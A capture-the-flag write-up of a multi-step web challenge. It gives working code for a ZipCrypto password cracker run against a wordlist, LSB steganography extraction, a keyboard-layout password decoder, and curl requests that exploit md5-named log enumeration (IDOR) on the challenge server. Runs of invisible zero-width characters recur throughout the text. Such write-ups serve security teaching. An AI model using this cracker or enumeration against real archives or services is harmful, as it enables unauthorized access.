← Back to Writeups
CUSTOMMediumWeb

Ангара-3: Запуск (Angara-3: Launch)

XESXOR9/10/20266 min read
#web#custom#medium#data_descriptor_check_byte#idor_md5_enumeration#keyboard_layout_swap#lsb_extraction#zipcrypto_dictionary_attack#linux

Ангара-3: Запуск (Angara-3: Launch)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: data_descriptor_check_byte, idor_md5_enumeration, keyboard_layout_swap, lsb_extraction, zipcrypto_dictionary_attack

Summary

Task: multi-step web challenge on a Node/Express 'BugOS' app — keyboard-layout password reminder, PNG LSB stego, ZipCrypto-protected archive, and an IDOR over md5-named launch logs. Solution: RU/EN layout swap to recover the login password, RGB-interleaved LSB to read the rockyou hint, a custom ZipCrypto cracker that uses the DOS-modtime high byte as the check byte (because the data-descriptor bit is set), and md5(sequential-id) log enumeration to recover the historical successful launch parameters.

Ангара-3: Запуск (Angara-3: Launch) — bug-makers

Description

Часть 3 серии «Ангара». Теперь у нас есть коды запуска, осталось найти правильные параметры для запуска ракеты. В прошлом году, сразу после развёртывания BugOS, был выполнен тестовый запуск с правильными параметрами — и он прошёл успешно. Значит система работает, и сработает снова!

English summary: Part 3 of the "Angara" series. The target is a Node.js/Express "BugOS" web desktop at http://31.207.77.216:4016/. We already have the launch codes (from the series narrative); the goal is to find the correct rocket-launch parameters and POST a successful launch to /api/launch, which returns the flag. The path winds through a keyboard-layout password reminder, PNG LSB steganography, a ZipCrypto-protected archive cracked from rockyou, and an IDOR over predictably-named launch logs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The challenge chains four distinct primitives:

  1. A publicly readable remind-password.txt whose contents are Cyrillic gibberish — the classic "typed in the wrong keyboard layout" trick (text intended for the EN QWERTY layout typed while the RU ЙЦУКЕН layout was active).
  2. A 976 KB sochi-2020.png on the dashboard — far too large for its visible content, signalling LSB steganography.
  3. A doc.zip using traditional PKZIP ZipCrypto. Its general purpose bit flag is 0x0009: bit 0 (encrypted) and bit 3 (data descriptor). Bit 3 is the gotcha — when set, the real CRC is written after the data, so at encryption time the CRC is unknown and the ZipCrypto password-verification byte is compared against the high byte of the DOS last-modification time, not the CRC high byte.
  4. /api/launch returns a logUrl pointing at /logs/<hash>.txt, where the hash is md5(logNumber) — a trivially enumerable IDOR that leaks the historical successful test launch and its parameters. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Recover the login password (keyboard-layout swap)

/assets/remind-password.txt contains text typed in the wrong layout. Map RU ЙЦУКЕН → EN QWERTY positionally:

python
ru = 'йцукенгшщзхъфывапролджэячсмитьбю.ёЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,Ё'
en = "qwertyuiop[]asdfghjkl;'zxcvbnm,./`QWERTYUIOP{}ASDFGHJKL:\"ZXCVBNM<>?~"
tr = {a: b for a, b in zip(ru, en)}
text = open('remind-password.txt', encoding='utf-8').read()
print(''.join(tr.get(c, c) for c in text))

Output:

Login password: c836468d539e5692ff5c5a7f65f7d2ee
And the flag for the first part of the task: BugCTF{40fa44fb74a4d5f22e909e0c83e2c879}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Log in and reach the dashboard

bash
curl -s -c cookies.txt -X POST http://31.207.77.216:4016/login \
  -H 'Content-Type: application/json' \
  -d '{"password":"c836468d539e5692ff5c5a7f65f7d2ee"}'

curl -s -b cookies.txt http://31.207.77.216:4016/dashboard -o dashboard.html

The connect.sid cookie is required; without it /dashboard 302-redirects to /login. The dashboard exposes /assets/sochi-2020.png, /assets/doc.zip, and a launch form that POSTs JSON to /api/launch.

Step 3 — PNG LSB steganography (RGB-interleaved, MSB-first)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The hidden bits are packed across the R, G, B channels in pixel order (alpha skipped), MSB-first. Alpha-channel and full RGBA-interleaved decodings produced garbage; only this scheme works:

python
from PIL import Image
img = Image.open('sochi-2020.png').convert('RGBA')
px = list(img.getdata())
bits = []
for r, g, b, a in px:
    bits.append(r & 1)
    bits.append(g & 1)
    bits.append(b & 1)
out = bytearray()
for i in range(0, len(bits) - 7, 8):
    byte = 0
    for bit in bits[i:i+8]:      # MSB-first
        byte = (byte << 1) | bit
    out.append(byte)
print(bytes(out[:200]))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output: The password to the archive is in the rockyou.txt database.

Step 4 — Crack ZipCrypto against rockyou (correct check-byte)

Key subtlety: doc.zip's flags are 0x0009, so bit 3 (data descriptor) is set and the ZipCrypto check byte is the high byte of the DOS modtime (0x71 here), not CRC>>24. Checking against CRC>>24 yields ~1/256 false positives and never verifies; fcrackzip also failed on the data-descriptor layout. A custom cracker with the right check byte finds l0v3, verified by raw-inflate + CRC32 match: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
import struct, zlib

data = open('doc.zip', 'rb').read()
assert data[:4] == b'PK\x03\x04'
flags   = struct.unpack('<H', data[6:8])[0]
crc32   = struct.unpack('<I', data[14:18])[0]
csize   = struct.unpack('<I', data[18:22])[0]
fnlen   = struct.unpack('<H', data[26:28])[0]
exlen   = struct.unpack('<H', data[28:30])[0]
modtime = struct.unpack('<H', data[10:12])[0]
enc     = data[30+fnlen+exlen : 30+fnlen+exlen+csize]

# data-descriptor bit (8) set => check byte = high byte of DOS modtime
check_byte = (modtime >> 8) & 0xff if (flags & 8) else (crc32 >> 24) & 0xff  # 0x71
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CRC = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ 0xedb88320 if c & 1 else c >> 1
    CRC.append(c)
upd = lambda crc, b: (crc >> 8) ^ CRC[(crc ^ b) & 0xff]

def keys_for(pw):
    k0, k1, k2 = 0x12345678, 0x23456789, 0x34567890
    for c in pw:
        k0 = upd(k0, c)
        k1 = (k1 + (k0 & 0xff)) & 0xffffffff
        k1 = (k1 * 134775813 + 1) & 0xffffffff
        k2 = upd(k2, (k1 >> 24) & 0xff)
    return k0, k1, k2

def try_pw(pw):
    K0, K1, K2 = keys_for(pw)
    last = 0
    for i in range(12):                      # decrypt 12-byte encryption header
        tmp = (K2 | 2) & 0xffff
        d   = ((tmp * (tmp ^ 1)) >> 8) & 0xff
        p   = enc[i] ^ d
        K0  = upd(K0, p)
        K1  = (K1 + (K0 & 0xff)) & 0xffffffff
        K1  = (K1 * 134775813 + 1) & 0xffffffff
        K2  = upd(K2, (K1 >> 24) & 0xff)
        last = p
    return last == check_byte, (K0, K1, K2)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open('rockyou.txt', 'rb') as f:
    for line in f:
        pw = line.rstrip(b'\r\n')
        ok, (K0, K1, K2) = try_pw(pw)
        if not ok:
            continue
        # verify: decrypt full body, raw-inflate, match CRC32
        out = bytearray()
        for i in range(12, len(enc)):
            tmp = (K2 | 2) & 0xffff
            d   = ((tmp * (tmp ^ 1)) >> 8) & 0xff
            p   = enc[i] ^ d
            K0  = upd(K0, p)
            K1  = (K1 + (K0 & 0xff)) & 0xffffffff
            K1  = (K1 * 134775813 + 1) & 0xffffffff
            K2  = upd(K2, (K1 >> 24) & 0xff)
            out.append(p)
        try:
            dec = zlib.decompress(bytes(out), -15)
            if zlib.crc32(dec) == crc32:
                print('PASSWORD:', pw.decode())
                open('link.txt', 'wb').write(dec)
                break
        except Exception:
            pass

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: PASSWORD: l0v3. The decrypted link.txt is a Russian message pointing to a Google Doc with the launch documentation.

Step 5 — Read the launch documentation

The Google Doc (exported as plain text) is a Roscosmos-style "Angara-A5 launch manual" containing the current valid launch code:

bbd4907ee188ea5d008917282a4df3e0

Step 6 — IDOR: enumerate md5-named launch logs

A test launch POST returns a logUrl like /logs/<hash>.txt and the log body contains a logNumber field. The filename is md5(logNumber): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

md5("2020") = 7b7a53e239400a13bd6be6c91c4f6c4e   # matches a returned error log
md5("1")    = c4ca4238a0b923820dcc509a6f75849b   # the FIRST log
bash
curl -s -b cookies.txt http://31.207.77.216:4016/logs/c4ca4238a0b923820dcc509a6f75849b.txt

md5("1") is the historical successful test launch ("success": true, dated 2024-10-18) with the correct parameters:

coordinates: x = 62.423, y = 40.175
trajectory : geo-orbit
payload    : 25999

Step 7 — Fire the correct launch

bash
curl -s -b cookies.txt -X POST http://31.207.77.216:4016/api/launch \
  -H 'Content-Type: application/json' \
  -d '{"launchCode":"bbd4907ee188ea5d008917282a4df3e0",
       "coordinates":{"x":62.423,"y":40.175},
       "trajectory":"geo-orbit",
       "payload":25999,
       "launchTime":"2024-10-18T13:00"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"success":true,"message":"Ракета успешно запущена!",
 "flag":"BugCTF{REDACTED}"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍